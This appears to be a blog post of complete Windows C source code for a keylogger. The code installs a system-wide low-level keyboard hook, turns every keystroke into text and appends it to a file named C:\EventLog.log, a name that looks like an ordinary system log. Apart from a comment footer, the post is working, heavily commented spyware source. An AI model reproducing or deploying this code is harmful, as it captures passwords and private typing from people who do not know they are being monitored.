1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
|
#include <windows.h>
#include <winuser.h>
#include <stdio.h>
// function to check caps lock
int isCapsLock()
{
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0)
return 1;
else
return 0;
}
/* An application-defined callback function used with the SetWindowsHookEx
function.
The system calls this function every time a new keyboard input event is
about to be posted into a thread input queue.
1st Parameter nCode - A code the hook procedure uses to determine how to
process the message.
2nd Parameter wParam - The identifier of the keyboard message.
This parameter can be one of the following messages: WM_KEYDOWN,
WM_KEYUP, WM_SYSKEYDOWN, or WM_SYSKEYUP.
3rd Parameter lParam: A pointer to a KBDLLHOOKSTRUCT structure.
*/
LRESULT CALLBACK LowLevelKeyboardProc
(int nCode, WPARAM wParam, LPARAM lParam)
{
/* This structure contains information about a low-level keyboard
input like virtual code, scan code, flags, time stamp and additional
information associated with the message.
*/
KBDLLHOOKSTRUCT *pKeyBoard = (KBDLLHOOKSTRUCT *)lParam;
FILE *file;
char val[5];
DWORD dwMsg = 1;
file=fopen("C:\\EventLog.log","a+");
switch (wParam)
{
case WM_KEYDOWN: // When the key has been pressed. Changed
from WM_KEYUP to catch multiple strokes.
{
// Assign virtual key code to local variable
DWORD vkCode = pKeyBoard->vkCode;
if ((vkCode>=39)&&(vkCode<=64)) // Keys 0-9
{
if (GetAsyncKeyState(VK_SHIFT)) // Check if shift
key is down (fairly accurate)
{
switch (vkCode) // 0x30-0x39 is 0-9 respectively
{
case 0x30:
fputs(")",file);
break;
case 0x31:
fputs("!",file);
break;
case 0x32:
fputs("@",file);
break;
case 0x33:
fputs("#",file);
break;
case 0x34:
fputs("$",file);
break;
case 0x35:
fputs("%",file);
break;
case 0x36:
fputs("^",file);
break;
case 0x37:
fputs("&",file);
break;
case 0x38:
fputs("*",file);
break;
case 0x39:
fputs("(",file);
break;
}
}
else // If shift key is not down
{
sprintf(val,"%c",vkCode);
fputs(val,file);
}
}
else if ((vkCode>64)&&(vkCode<91)) // Keys a-z
{
/*
The following is a complicated statement to check if the letters need
to be switched to lowercase.
Here is an explanation of why the exclusive or (XOR) must be used.
Shift Caps LowerCase UpperCase
T T T F
T F F T
F T F T
F F T F
The above truth table shows what case letters are typed in,
based on the state of the shift and caps lock key combinations.
The UpperCase column is the same result as a logical XOR.
However, since we're checking the opposite in the following if statement,
we'll also include a NOT operator (!)
Becuase, NOT(XOR) would give us the LowerCase column results.
There's your lesson in logic if you didn't understand the next statement.
Hopefully that helped.
--Dan
*/
if (!(GetAsyncKeyState(VK_SHIFT)^isCapsLock())) // Check if
letters should be lowercase
{
vkCode+=32; // Un-capitalize letters
}
sprintf(val,"%c",vkCode);
fputs(val,file);
}
else
{
switch (vkCode) // Check for other keys
{
case VK_SPACE:
fputs(" ",file);
break;
case VK_LCONTROL:
case VK_RCONTROL:
fputs("[Ctrl]",file);
break;
case VK_LMENU:
case VK_RMENU:
fputs("[Alt]",file);
break;
case VK_INSERT:
fputs("[Insert]",file);
break;
case VK_DELETE:
fputs("[Del]",file);
break;
case VK_NUMPAD0:
fputs("0",file);
break;
case VK_NUMPAD1:
fputs("1",file);
break;
case VK_NUMPAD2:
fputs("2",file);
break;
case VK_NUMPAD3:
fputs("3",file);
break;
case VK_NUMPAD4:
fputs("4",file);
break;
case VK_NUMPAD5:
fputs("5",file);
break;
case VK_NUMPAD6:
fputs("6",file);
break;
case VK_NUMPAD7:
fputs("7",file);
break;
case VK_NUMPAD8:
fputs("8",file);
break;
case VK_NUMPAD9:
fputs("9",file);
break;
case VK_OEM_2:
if (GetAsyncKeyState(VK_SHIFT))
fputs("?",file);
else
fputs("/",file);
break;
case VK_OEM_3:
if (GetAsyncKeyState(VK_SHIFT))
fputs("~",file);
else
fputs("`",file);
break;
case VK_OEM_4:
if(GetAsyncKeyState(VK_SHIFT))
fputs("{",file);
else
fputs("[",file);
break;
case VK_OEM_5:
if(GetAsyncKeyState(VK_SHIFT))
fputs("|",file);
else
fputs("\\",file);
break;
case VK_OEM_6:
if(GetAsyncKeyState(VK_SHIFT))
fputs("}",file);
else
fputs("]",file);
break;
case VK_OEM_7:
if(GetAsyncKeyState(VK_SHIFT))
fputs("\\",file);
else
fputs("'",file);
break;
case VK_LSHIFT:
case VK_RSHIFT:
// do nothing;
break;
case 0xBC: //comma
if(GetAsyncKeyState(VK_SHIFT))
fputs("<",file);
else
fputs(",",file);
break;
case 0xBE: //Period
if(GetAsyncKeyState(VK_SHIFT))
fputs(">",file);
else
fputs(".",file);
break;
case 0xBA: //Semi Colon same as VK_OEM_1
if(GetAsyncKeyState(VK_SHIFT))
fputs(":",file);
else
fputs(";",file);
break;
case 0xBD: //Minus
if(GetAsyncKeyState(VK_SHIFT))
fputs("_",file);
else
fputs("-",file);
break;
case 0xBB: //Equal
if(GetAsyncKeyState(VK_SHIFT))
fputs("+",file);
else
fputs("=",file);
break;
default:
/* For More details refer this link
http://msdn.microsoft.com/en-us/library/ms646267
As mentioned in document of GetKeyNameText
http://msdn.microsoft.com/en-us/library/ms646300
Scon code is present in 16..23 bits therefor I shifted
the code to correct position
Same for Extended key flag
*/
dwMsg += pKeyBoard->scanCode << 16;
dwMsg += pKeyBoard->flags << 24;
char key[16];
/* Retrieves a string that represents
the name of a key.
1st Parameter dwMsg contains the scan code and Extended flag
2nd Parameter lpString: lpszName - The buffer that will receive
the key name.
3rd Parameter cchSize: The maximum length, in characters, of
the key name, including the terminating null character
If the function succeeds, a null-terminated string is copied into
the specified buffer,
and the return value is the length of the string, in characters,
not counting the terminating null character.
If the function fails, the return value is zero.
*/
GetKeyNameText(dwMsg,key,15);
fputs(key,file);
}
}
}
default:
fclose(file);
/* Passes the hook information to the next hook procedure
in the current hook chain.
1st Parameter hhk - Optional
2nd Parameter nCode - The next hook procedure uses this code to
determine how to process the hook information.
3rd Parameter wParam - The wParam value passed to the current hook procedure
4th Parameter lParam - The lParam value passed to the current hook procedure
*/
return CallNextHookEx( NULL, nCode, wParam, lParam );
}
fclose(file);
return 0;
}
// Function called by main function to install hook
DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
HHOOK hKeyHook;
/* Retrieves a module handle for the specified module.
parameter is NULL, GetModuleHandle returns a handle to the file
used to create the calling process (.exe file).
If the function succeeds, the return value is a handle to
the specified module.
If the function fails, the return value is NULL.
*/
HINSTANCE hExe = GetModuleHandle(NULL);
if(hExe == NULL)
{
return 1;
}
else
{
/*Installs an application-defined hook procedure into a hook chain
1st Parameter idHook: WH_KEYBOARD_LL - The type of hook procedure
to be installed
Installs a hook procedure that monitors low-level keyboard input events.
2nd Parameter lpfn: LowLevelKeyboardProc - A pointer to the hook procedure.
3rd Parameter hMod: hExe - A handle to the DLL containing the
hook procedure pointed to by the lpfn parameter.
4th Parameter dwThreadId: 0 - the hook procedure is associated with
all existing threads running
If the function succeeds, the return value is the handle to
the hook procedure.
If the function fails, the return value is NULL.
*/
hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,
(HOOKPROC)LowLevelKeyboardProc, hExe, 0);
/*Defines a system-wide hot key of alt+ctrl+9
1st Parameter hWnd(optional) :NULL - A handle to the window that will
receive hot key message generated by hot key.
2nd Parameter id:1 - The identifier of the hot key
3rd Parameter fsModifiers: MOD_ALT | MOD_CONTROL - The keys that must
be pressed in combination with the key
specified by the uVirtKey parameter in order
to generate the WM_HOTKEY message.
4th Parameter vk: 0x39(9) - The virtual-key code of the hot key
*/
RegisterHotKey(NULL, 1, MOD_ALT | MOD_CONTROL, 0x39);
MSG msg;
// Message loop retrieves messages from the thread's message queue
and dispatches them to the appropriate window procedures.
// For more info http://
msdn.microsoft.com/en-us/library/ms644928%28v=VS.85%29.aspx#creating_loop
//Retrieves a message from the calling thread's message queue.
while (GetMessage(&msg, NULL, 0, 0) != 0)
{
// if Hot key combination is pressed then exit
if (msg.message == WM_HOTKEY)
{
UnhookWindowsHookEx(hKeyHook);
return 0;
}
//Translates virtual-key messages into character messages.
TranslateMessage(&msg);
//Dispatches a message to a window procedure.
DispatchMessage(&msg);
}
/* To free system resources associated with the hook and removes
a hook procedure installed in a hook chain
Parameter hhk: hKeyHook - A handle to the hook to be removed.
*/
UnhookWindowsHookEx(hKeyHook);
}
return 0;
}
int StartKeyLogging(char* argv[])
{
HANDLE hThread;
DWORD dwThread;
/* CreateThread function Creates a thread to execute within the virtual
address space of the calling process.
1st Parameter lpThreadAttributes: NULL - Thread gets a default
security descriptor.
2nd Parameter dwStackSize: 0 - The new thread uses the default
size for the executable.
3rd Parameter lpStartAddress: KeyLogger - A pointer to the
application-defined function to be executed by the thread
4th Parameter lpParameter: argv[0] - A pointer to a variable
to be passed to the thread
5th Parameter dwCreationFlags: 0 - The thread runs immediately
after creation.
6th Parameter pThreadId(out parameter): NULL - the thread
identifier is not returned
If the function succeeds, the return value is a handle to the new thread.
*/
hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)KeyLogger,
(LPVOID) argv[0], 0, NULL);
if (hThread)
{
//Waits until the specified object is in the signaled state or
the time-out interval elapses.
return WaitForSingleObject(hThread,INFINITE);
}
// if it is Null then exit the main function
else
{
return 1;
}
}
|
No comments:
Post a Comment